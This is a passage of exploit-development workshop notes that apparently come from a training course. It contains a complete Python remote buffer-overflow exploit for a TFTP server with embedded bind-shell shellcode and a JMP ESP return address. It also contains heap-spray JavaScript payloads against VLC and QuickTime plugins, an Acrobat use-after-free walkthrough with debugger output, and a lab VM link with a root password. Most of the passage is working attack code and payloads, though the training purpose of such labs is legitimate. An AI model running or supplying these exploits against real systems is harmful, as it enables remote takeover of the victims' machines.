655 | copy bindshellcode.bin into the "c:\Program Files\nasm" directory | |
656 | ||
657 | ||
658 | ||
659 | Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin | |
660 | 317 bindshell.bin | |
661 | ||
662 | ---------------------------Type This----------------------------------- | |
663 | ||
664 | C:\Program Files\nasm>ndisasm -b 32 bindshell.bin | |
665 | ----------------------------------------------------------------------- | |
666 | ||
667 | 00000000 FC cld | |
668 | 00000001 6AEB push byte -0x15 | |
669 | 00000003 4D dec ebp | |
670 | 00000004 E8F9FFFFFF call dword 0x2 | |
671 | 00000009 60 pushad | |
672 | 0000000A 8B6C2424 mov ebp,[esp+0x24] | |
673 | 0000000E 8B453C mov eax,[ebp+0x3c] | |
674 | 00000011 8B7C0578 mov edi,[ebp+eax+0x78] | |
675 | 00000015 01EF add edi,ebp | |
676 | 00000017 8B4F18 mov ecx,[edi+0x18] | |
677 | 0000001A 8B5F20 mov ebx,[edi+0x20] | |
678 | 0000001D 01EB add ebx,ebp | |
679 | 0000001F 49 dec ecx | |
680 | 00000020 8B348B mov esi,[ebx+ecx*4] | |
681 | 00000023 01EE add esi,ebp | |
682 | 00000025 31C0 xor eax,eax | |
683 | 00000027 99 cdq | |
684 | 00000028 AC lodsb | |
685 | 00000029 84C0 test al,al | |
686 | 0000002B 7407 jz 0x34 | |
687 | 0000002D C1CA0D ror edx,0xd | |
688 | 00000030 01C2 add edx,eax | |
689 | 00000032 EBF4 jmp short 0x28 | |
690 | 00000034 3B542428 cmp edx,[esp+0x28] | |
691 | 00000038 75E5 jnz 0x1f | |
692 | 0000003A 8B5F24 mov ebx,[edi+0x24] | |
693 | 0000003D 01EB add ebx,ebp | |
694 | 0000003F 668B0C4B mov cx,[ebx+ecx*2] | |
695 | 00000043 8B5F1C mov ebx,[edi+0x1c] | |
696 | 00000046 01EB add ebx,ebp | |
697 | 00000048 032C8B add ebp,[ebx+ecx*4] | |
698 | 0000004B 896C241C mov [esp+0x1c],ebp | |
699 | 0000004F 61 popad | |
700 | 00000050 C3 ret | |
701 | 00000051 31DB xor ebx,ebx | |
702 | 00000053 648B4330 mov eax,[fs:ebx+0x30] | |
703 | 00000057 8B400C mov eax,[eax+0xc] | |
704 | 0000005A 8B701C mov esi,[eax+0x1c] | |
705 | 0000005D AD lodsd | |
706 | 0000005E 8B4008 mov eax,[eax+0x8] | |
707 | 00000061 5E pop esi | |
708 | 00000062 688E4E0EEC push dword 0xec0e4e8e | |
709 | 00000067 50 push eax | |
710 | 00000068 FFD6 call esi | |
711 | 0000006A 6653 push bx | |
712 | 0000006C 66683332 push word 0x3233 | |
713 | 00000070 687773325F push dword 0x5f327377 | |
714 | 00000075 54 push esp | |
715 | 00000076 FFD0 call eax | |
716 | 00000078 68CBEDFC3B push dword 0x3bfcedcb | |
717 | 0000007D 50 push eax | |
718 | 0000007E FFD6 call esi PART 1 | |
719 | 00000080 5F pop edi | |
720 | 00000081 89E5 mov ebp,esp | |
721 | 00000083 6681ED0802 sub bp,0x208 | |
722 | 00000088 55 push ebp | |
723 | 00000089 6A02 push byte +0x2 | |
724 | 0000008B FFD0 call eax | |
725 | 0000008D 68D909F5AD push dword 0xadf509d9 | |
726 | 00000092 57 push edi | |
727 | 00000093 FFD6 call esi | |
728 | 00000095 53 push ebx | |
729 | 00000096 53 push ebx | |
730 | --------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<--- | |
731 | 00000097 53 push ebx | |
732 | 00000098 53 push ebx | |
733 | 00000099 53 push ebx | |
734 | 0000009A 43 inc ebx | |
735 | 0000009B 53 push ebx | |
736 | 0000009C 43 inc ebx | |
737 | 0000009D 53 push ebx PART 2 | |
738 | 0000009E FFD0 call eax | |
739 | 000000A0 6668115C push word 0x5c11 | |
740 | 000000A4 6653 push bx | |
741 | 000000A6 89E1 mov ecx,esp | |
742 | 000000A8 95 xchg eax,ebp | |
743 | 000000A9 68A41A70C7 push dword 0xc7701aa4 | |
744 | 000000AE 57 push edi | |
745 | 000000AF FFD6 call esi | |
746 | 000000B1 6A10 push byte +0x10 | |
747 | 000000B3 51 push ecx | |
748 | 000000B4 55 push ebp | |
749 | 000000B5 FFD0 call eax | |
750 | 000000B7 68A4AD2EE9 push dword 0xe92eada4 | |
751 | 000000BC 57 push edi | |
752 | 000000BD FFD6 call esi | |
753 | 000000BF 53 push ebx | |
754 | 000000C0 55 push ebp | |
755 | 000000C1 FFD0 call eax | |
756 | 000000C3 68E5498649 push dword 0x498649e5 | |
757 | 000000C8 57 push edi | |
758 | 000000C9 FFD6 call esi | |
759 | 000000CB 50 push eax | |
760 | 000000CC 54 push esp | |
761 | 000000CD 54 push esp | |
762 | 000000CE 55 push ebp | |
763 | 000000CF FFD0 call eax | |
764 | 000000D1 93 xchg eax,ebx | |
765 | 000000D2 68E779C679 push dword 0x79c679e7 | |
766 | 000000D7 57 push edi | |
767 | 000000D8 FFD6 call esi | |
768 | 000000DA 55 push ebp | |
769 | 000000DB FFD0 call eax | |
770 | 000000DD 666A64 push word 0x64 | |
771 | 000000E0 6668636D push word 0x6d63 | |
772 | 000000E4 89E5 mov ebp,esp | |
773 | 000000E6 6A50 push byte +0x50 | |
774 | 000000E8 59 pop ecx | |
775 | 000000E9 29CC sub esp,ecx | |
776 | 000000EB 89E7 mov edi,esp | |
777 | 000000ED 6A44 push byte +0x44 | |
778 | 000000EF 89E2 mov edx,esp | |
779 | 000000F1 31C0 xor eax,eax | |
780 | 000000F3 F3AA rep stosb | |
781 | 000000F5 FE422D inc byte [edx+0x2d] | |
782 | 000000F8 FE422C inc byte [edx+0x2c] | |
783 | 000000FB 93 xchg eax,ebx | |
784 | 000000FC 8D7A38 lea edi,[edx+0x38] | |
785 | 000000FF AB stosd | |
786 | 00000100 AB stosd | |
787 | 00000101 AB stosd | |
788 | 00000102 6872FEB316 push dword 0x16b3fe72 | |
789 | 00000107 FF7544 push dword [ebp+0x44] | |
790 | 0000010A FFD6 call esi | |
791 | 0000010C 5B pop ebx | |
792 | 0000010D 57 push edi | |
793 | 0000010E 52 push edx | |
794 | 0000010F 51 push ecx | |
795 | 00000110 51 push ecx | |
796 | 00000111 51 push ecx | |
797 | 00000112 6A01 push byte +0x1 | |
798 | 00000114 51 push ecx | |
799 | 00000115 51 push ecx | |
800 | 00000116 55 push ebp | |
801 | 00000117 51 push ecx | |
802 | 00000118 FFD0 call eax | |
803 | 0000011A 68ADD905CE push dword 0xce05d9ad | |
804 | 0000011F 53 push ebx | |
805 | 00000120 FFD6 call esi | |
806 | 00000122 6AFF push byte -0x1 | |
807 | 00000124 FF37 push dword [edi] | |
808 | 00000126 FFD0 call eax | |
809 | 00000128 8B57FC mov edx,[edi-0x4] | |
810 | 0000012B 83C464 add esp,byte +0x64 | |
811 | 0000012E FFD6 call esi | |
812 | 00000130 52 push edx | |
813 | 00000131 FFD0 call eax | |
814 | 00000133 68F08A045F push dword 0x5f048af0 | |
815 | 00000138 53 push ebx | |
816 | 00000139 FFD6 call esi | |
817 | 0000013B FFD0 call eax | |
818 | ||
819 | ||
820 | ||
821 | ||
822 | part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" | |
823 | part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" | |
824 | part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" | |
825 | part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" | |
826 | part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" | |
827 | part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" | |
828 | part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" | |
829 | part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" | |
830 | part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" | |
831 | part1 += "\xf5\xad\x57\xff\xd6\x53\x53" | |
832 | ||
833 | ||
834 | part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0" | |
835 | part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" | |
836 | part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" | |
837 | part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" | |
838 | part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" | |
839 | part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" | |
840 | part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" | |
841 | part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" | |
842 | part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" | |
843 | part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" | |
844 | part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0" | |
845 | ||
846 | ||
847 | STACK SHIFTER: | |
848 | prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h | |
849 | prepend += "\x44" # inc esp | |
850 | ||
851 | ||
852 | ||
853 | ||
854 | ||
855 | ||
856 | ||
857 | ||
858 | ||
859 | ||
860 | ||
861 | ||
862 | ||
863 | ||
864 | ---- final script ---- | |
865 | ||
866 | #!/usr/bin/python2 | |
867 | #TFTP Server remote Buffer Overflow | |
868 | ||
869 | import sys | |
870 | import socket | |
871 | import struct | |
872 | ||
873 | if len(sys.argv) < 2: | |
874 | sys.stderr.write("Usage: tftpd.py <host>\n") | |
875 | sys.exit(1) | |
876 | ||
877 | target = sys.argv[1] | |
878 | port = 69 | |
879 | ||
880 | eip = 0x7e429353 # jmp esp in USER32.DLL | |
881 | ||
882 | part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" | |
883 | part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" | |
884 | part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" | |
885 | part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" | |
886 | part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" | |
887 | part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" | |
888 | part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" | |
889 | part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" | |
890 | part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" | |
891 | part1 += "\xf5\xad\x57\xff\xd6\x53\x53" | |
892 | ||
893 | part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0" | |
894 | part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" | |
895 | part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" | |
896 | part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" | |
897 | part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" | |
898 | part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" | |
899 | part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" | |
900 | part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" | |
901 | part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" | |
902 | part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" | |
903 | part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0" | |
904 | ||
905 | prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h | |
906 | prepend += "\x44" # inc esp | |
907 | ||
908 | buf = "\x00\x01" # receive command | |
909 | ||
910 | buf += "\x90" * (256 - len(part2)) # NOPs | |
911 | buf += part2 # shellcode part 2 | |
912 | buf += struct.pack('<I', eip) # EIP (JMP ESP) | |
913 | buf += prepend # stack shifter | |
914 | buf += part1 # shellcode part 1 | |
915 | buf += "\xE9" + struct.pack('<i', -380) # JMP -380 | |
916 | buf += "\x00" # END | |
917 | ||
918 | # print buf | |
919 | ||
920 | # buf = "\x00\x01" # receive command | |
921 | ||
922 | # buf += "A" * 300 + "\x00" | |
923 | ||
924 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
925 | ||
926 | try: | |
927 | sock.connect((target, port)) | |
928 | sock.sendall(buf) | |
929 | except Exception as e: | |
930 | sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n") | |
931 | finally: | |
932 | sock.close() | |
933 | sys.stderr.write("Sent.\n") | |
934 | ||
935 | ||
936 | ||
937 | ----------------------------------------------------------------------------------------------------------------- | |
938 | ||
939 | ||
940 | ||
941 | ||
942 | How does all of this actually work | |
943 | ||
944 | ||
945 | ||
946 | ||
947 | Total shellcode length: 315 | |
948 | ||
949 | Part1: 150 | |
950 | Part2: 165 | |
951 | ||
952 | ||
953 | NOPS * (256 - 165) | |
954 | ||
955 | 91 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380) | |
956 | | | | | |
957 | 256 260 150 (410) | | |
958 | |<------------------------------------------------------------------------------------------------------------| | |
959 | Jump to the | |
960 | 30 byte mark | |
961 | ||
962 | ||
963 | ||
964 | ############################ | |
965 | # Lab 3: Browsers Exploits # | |
966 | ############################ | |
967 | ||
968 | ---------------------------Type This----------------------------------- | |
969 | ||
970 | cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton | |
971 | ----------------------------------------------------------------------- | |
972 | ||
973 | Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes | |
974 | rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000 | |
975 | ||
976 | <object id=quicktime clsid="999-999999-99-99999"> | |
977 | <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA...."> | |
978 | </object> | |
979 | ||
980 | var buf = ""; | |
981 | for(i = 0; i < 50000; i++) | |
982 | buf += "A"; | |
983 | var myobject = document.getElementById("quicktime"); | |
984 | myobject.url = buf; | |
985 | ||
986 | YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!! | |
987 | ||
988 | - Browsers (Flash) | |
989 | ||
990 | - MS Office / OOo | |
991 | ||
992 | VLC smb:// exploit | |
993 | ------------------ | |
994 | ||
995 | EXPLOIT VECTOR | |
996 | ||
997 | smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} | |
998 | ||
999 | Exploit Scripts | |
1000 | - ffvlc | |
1001 | ||
1002 | ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080 | |
1003 | ||
1004 | perl daemon.pl vlc0.html | |
1005 | ||
1006 | ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX | |
1007 | Browse to http://your_host_ip_address:8080/ | |
1008 | ||
1009 | vlc0.html | |
1010 | --------- | |
1011 | <script> | |
1012 | var buf = ""; | |
1013 | for(i = 0; i < 1250; i++) | |
1014 | buf += unescape("%41%41%41%41"); | |
1015 | var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}"; | |
1016 | document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />"); | |
1017 | </script> | |
1018 | ||
1019 | vlc1.html | |
1020 | --------- | |
1021 | <script> | |
1022 | ||
1023 | // shellcode created in heap memory | |
1024 | var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc"); | |
1025 | ||
1026 | // 800K block of NOPS | |
1027 | var nop = unescape("%u9090%u09090"); // 4 NOPS | |
1028 | while(nop.length < 0xc0000) { | |
1029 | nop += nop; | |
1030 | } | |
1031 | ||
1032 | // spray the heap with NOP+shellcode | |
1033 | var memory = new Array(); | |
1034 | for(i = 0; i < 50; i++) { | |
1035 | memory[i] = nop + shellcode; | |
1036 | } | |
1037 | ||
1038 | // build the exploit payload | |
1039 | var buf = ""; | |
1040 | for(i = 0; i < 1250; i++) | |
1041 | buf += unescape("%41%41%41%41"); | |
1042 | var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}"; | |
1043 | ||
1044 | // trigger the exploit | |
1045 | document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />"); | |
1046 | </script> | |
1047 | ||
1048 | ---------------------------Type This----------------------------------- | |
1049 | ||
1050 | perl daemon.pl vlc1.html | |
1051 | ----------------------------------------------------------------------- | |
1052 | ||
1053 | Search for where our NOPS+shellcode lies in the heap | |
1054 | ||
1055 | s 0 l fffffff 90 90 90 90 cc cc cc cc | |
1056 | ||
1057 | 0:019> s 0 l fffffff 90 90 90 90 cc cc cc cc | |
1058 | 03dffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1059 | 040ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1060 | 043ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1061 | 046ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1062 | 049ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1063 | 04cffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1064 | 04fffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1065 | 052ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1066 | 055ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1067 | 058ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1068 | 05bffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1069 | 05effffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1070 | 061ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1071 | 064ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1072 | 067ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1073 | 06affffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ | |
1074 | ||
1075 | Edit vlc2.html | |
1076 | replace %41%41%41%41 with %07%07%07%07 | |
1077 | ||
1078 | (928.fd0): Break instruction exception - code 80000003 (first chance) | |
1079 | eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707 | |
1080 | eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0 nv up ei pl nz ac pe nc | |
1081 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 | |
1082 | 07100000 cc int 3 | |
1083 | 0:019> u | |
1084 | 07100000 cc int 3 | |
1085 | 07100001 cc int 3 | |
1086 | 07100002 cc int 3 | |
1087 | 07100003 cc int 3 | |
1088 | 07100004 cc int 3 | |
1089 | 07100005 cc int 3 | |
1090 | 07100006 cc int 3 | |
1091 | 07100007 cc int 3 | |
1092 | ||
1093 | Create vlc3.html (Copy vlc2.html to vlc3.html) | |
1094 | ---------------------------------------------- | |
1095 | Win32 Reverse Shell | |
1096 | - no restricted characters | |
1097 | - Encoder NONE | |
1098 | - use the Javascript encoded payload generated by msfweb | |
1099 | ||
1100 | ||
1101 | ||
1102 | ||
1103 | ####################### | |
1104 | # Lab 4: PDF EXPLOITS # | |
1105 | ####################### | |
1106 | ||
1107 | ---------------------------Type This----------------------------------- | |
1108 | ||
1109 | cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab4\adobe_mnp_skeleton | |
1110 | ----------------------------------------------------------------------- | |
1111 | ||
1112 | Acrobat Media newPlayer exploit | |
1113 | ------------------------------- | |
1114 | ||
1115 | Use-after-free bug | |
1116 | ||
1117 | Exploit scripts are online at 172.16.0.100 | |
1118 | - adobe_mnp | |
1119 | ||
1120 | Download these scripts on your Strategicsec-XP-ED-Target-VM VM itself. | |
1121 | ||
1122 | ||
1123 | mnp0.pdf | |
1124 | ||
1125 | - Open up acrobat reader | |
1126 | - WinDBG | |
1127 | - F6 attach to AcroRd32.exe | |
1128 | - g to Go | |
1129 | ||
1130 | EIP = 41414141 | |
1131 | ||
1132 | Next step is to spray the heap with NOPS+shellcode, and then land EIP in the heap. | |
1133 | ||
1134 | mnp1.pdf | |
1135 | ||
1136 | All we are doing is changing EIP to 0c0c0c0c. | |
1137 | There is no heap spray in this one. | |
1138 | ||
1139 | This exception may be expected and handled. | |
1140 | eax=02e2d638 ebx=23826917 ecx=02e2d638 edx=02e2f868 esi=02c07674 edi=02c07674 | |
1141 | eip=0c0c0c0c esp=0013fb38 ebp=0013fbb8 iopl=0 nv up ei pl nz na po nc | |
1142 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 | |
1143 | 0c0c0c0c ?? ??? | |
1144 | ||
1145 | We know we get EIP control | |
1146 | ||
1147 | mnp2.pdf | |
1148 | ||
1149 | Put in the heap spray. | |
1150 | ||
1151 | var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc"); | |
1152 | ||
1153 | var nops = unescape("%u9090%u9090"); | |
1154 | ||
1155 | while(nops.length <= 32768) | |
1156 | nops += nops; | |
1157 | nops = nops.substring(0,32768 - shellcode.length); | |
1158 | ||
1159 | memory = new Array(); | |
1160 | ||
1161 | for(i = 0; i < 1500; i++) { | |
1162 | memory[i] = nops + shellcode; | |
1163 | } | |
1164 | ||
1165 | 1500 NOP+shellcode blocks of 32K NOPs each | |
1166 | ||
1167 | We would have sprayed over address 0c0c0c0c, and we hope to hit EIP = 0c0c0c0c, and get INT3. | |
1168 | ||
1169 | We want to see what led to the crash. | |
1170 | ||
1171 | EIP is invalid, so we can't disassemble around EIP | |
1172 | ||
1173 | We need to trace the function that called us and crashed. | |
1174 | - STACK TRACE | |
1175 | - Dumps all the frames from the top of the stack. | |
1176 | - show you the series of calls that led up to the crash. | |
1177 | - we will analyze the topmost function on the frame. | |
1178 | ||
1179 | WinDBG - stack trace - "k" command | |
1180 | ||
1181 | 0:000> k | |
1182 | ChildEBP RetAddr | |
1183 | WARNING: Frame IP not in any known module. Following frames may be wrong. | |
1184 | 0013fb34 2d843117 0x90909090 | |
1185 | 0013fbb8 23826934 Multimedia!PlugInMain+0x41b69 | |
1186 | 0013fbdc 23825d8c EScript!PlugInMain+0x25584 | |
1187 | 0013fc74 238257e2 EScript!PlugInMain+0x249dc | |
1188 | 0013fca4 238543c5 EScript!PlugInMain+0x24432 | |
1189 | 0013fd04 00a78de1 EScript!PlugInMain+0x53015 | |
1190 | 0013fd20 7e418734 AcroRd32_940000!DllCanUnloadNow+0x67290 | |
1191 | 0013fd4c 7e418816 USER32!InternalCallWinProc+0x28 | |
1192 | 0013fdb4 7e4189cd USER32!UserCallWinProcCheckWow+0x150 | |
1193 | 0013fe14 7e418a10 USER32!DispatchMessageWorker+0x306 | |
1194 | 0013fe24 00a323b4 USER32!DispatchMessageW+0xf | |
1195 | 0013fe94 00a31de8 AcroRd32_940000!DllCanUnloadNow+0x20863 | |
1196 | 0013fecc 0094389f AcroRd32_940000!DllCanUnloadNow+0x20297 | |
1197 | 0013fee4 009436ee AcroRd32_940000!AcroWinMain+0x1c8 | |
1198 | 0013ff2c 00404004 AcroRd32_940000!AcroWinMain+0x17 | |
1199 | 0013ffc0 7c817067 AcroRd32+0x4004 | |
1200 | 0013fff0 00000000 kernel32!BaseProcessStart+0x23 | |
1201 | ||
1202 | 2d843117 -- the return address that we would have returned to, if we didnt crash. | |
1203 | address 2d843117-2 we will have a CALL instruction. | |
1204 | ||
1205 | u 2d843117 | |
1206 | u 2d843117-2 | |
1207 | u 2d843117-3 <---- we found the CALL instruction - call [edx+4] | |
1208 | u 2d843117-4 | |
1209 | ||
1210 | 0:000> u 2d843117-3 | |
1211 | Multimedia!PlugInMain+0x41b66: | |
1212 | 2d843114 ff5204 call dword ptr [edx+4] <---- the culprit!!! | |
1213 | 2d843117 6a00 push 0 | |
1214 | 2d843119 68d8b68c2d push offset Multimedia!PlugInMain+0xca12a (2d8cb6d8) | |
1215 | 2d84311e 56 push esi | |
1216 | 2d84311f e842aefdff call Multimedia!PlugInMain+0x1c9b8 (2d81df66) | |
1217 | 2d843124 83c40c add esp,0Ch | |
1218 | 2d843127 66b80100 mov ax,1 | |
1219 | 2d84312b 5e pop esi | |
1220 | ||
1221 | We control EDX | |
1222 | edx=0c0c0c0c | |
1223 | ||
1224 | call [edx+4] = call [0c0c0c10] | |
1225 | dd edx+4 | |
1226 | ||
1227 | 0:000> dd edx+4 | |
1228 | 0c0c0c10 90909090 90909090 90909090 90909090 | |
1229 | 0c0c0c20 90909090 90909090 90909090 90909090 | |
1230 | ||
1231 | 0:000> u 2d843117-7 | |
1232 | Multimedia!PlugInMain+0x41b62: | |
1233 | 2d843110 8b10 mov edx,dword ptr [eax] | |
1234 | 2d843112 8bc8 mov ecx,eax | |
1235 | 2d843114 ff5204 call dword ptr [edx+4] | |
1236 | ||
1237 | dd eax | |
1238 | ||
1239 | 0:000> dd eax | |
1240 | 02e2d680 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c | |
1241 | 02e2d690 42424242 42424242 42424242 42424242 | |
1242 | 02e2d6a0 42424242 42424242 42424242 42424242 | |
1243 | 02e2d6b0 42424242 42424242 42424242 42424242 | |
1244 | 02e2d6c0 42424242 42424242 00000000 00000000 | |
1245 | ||
1246 | mnp3.pdf | |
1247 | ||
1248 | change the NOPs 90909090 to 0c0c0c0c | |
1249 | ||
1250 | mov edx, [eax] | |
1251 | call [edx+4] | |
1252 | ||
1253 | edx = 0c0c0c0c | |
1254 | edx+4 = 0c0c0c10 | |
1255 | contents at edx+4 will also be "0c0c0c0c" | |
1256 | ||
1257 | EIP will jump to 0c0c0c0c | |
1258 | ||
1259 | and... | |
1260 | ||
1261 | 0:000> u 0c0c0c0c | |
1262 | *** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api | |
1263 | *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api - | |
1264 | 0c0c0c0c 0c0c or al,0Ch | |
1265 | 0c0c0c0e 0c0c or al,0Ch | |
1266 | 0c0c0c10 0c0c or al,0Ch | |
1267 | 0c0c0c12 0c0c or al,0Ch | |
1268 | 0c0c0c14 0c0c or al,0Ch | |
1269 | ||
1270 | ||
1271 | ---------------------------------------------------------------------------------------------------------------- | |
1272 | ||
1273 | ################## | |
1274 | # Linux Exploits # | |
1275 | ################## | |
1276 | ||
1277 | The target virtual machine for these labs can be downloaded from here: | |
1278 | https://s3.amazonaws.com/infosecaddictsvirtualmachines/asterisk.zip | |
1279 | root: exploitlab | |
